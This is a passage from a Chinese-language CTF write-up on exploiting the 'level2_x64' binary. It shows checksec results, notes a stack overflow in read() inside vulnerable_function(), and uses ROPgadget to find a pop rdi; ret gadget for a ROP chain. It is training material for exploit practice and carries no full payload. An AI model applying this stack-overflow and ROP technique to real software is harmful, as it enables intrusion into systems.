┌──(ela㉿kali)-[~/Pwn] └─$ checksec level2_x64 [*] '/home/ela/Pwn/level2_x64' Arch: amd64-64-little RELRO: No RELRO Stack: No canary found NX: NX enabled PIE: No PIE (0x400000)
思路已经很清晰了,在 vulnerable_function() 中的 read() 函数中造成栈溢出,然后执行 ROP 链,现在少一个 pop rdi; ret 的地址
于是使用 ROPgadget 查找,结果如下
┌──(ela㉿kali)-[~/Pwn] └─$ ROPgadget --binary level2_x64 --only "pop|rdi|ret" Gadgets information ============================================================ 0x00000000004006ac : pop r12 ; pop r13 ; pop r14 ; pop r15 ; ret 0x00000000004006ae : pop r13 ; pop r14 ; pop r15 ; ret 0x00000000004006b0 : pop r14 ; pop r15 ; ret 0x00000000004006b2 : pop r15 ; ret 0x00000000004006ab : pop rbp ; pop r12 ; pop r13 ; pop r14 ; pop r15 ; ret 0x00000000004006af : pop rbp ; pop r14 ; pop r15 ; ret 0x0000000000400560 : pop rbp ; ret 0x00000000004006b3 : pop rdi ; ret 0x00000000004006b1 : pop rsi ; pop r15 ; ret 0x00000000004006ad : pop rsp ; pop r13 ; pop r14 ; pop r15 ; ret 0x00000000004004a1 : ret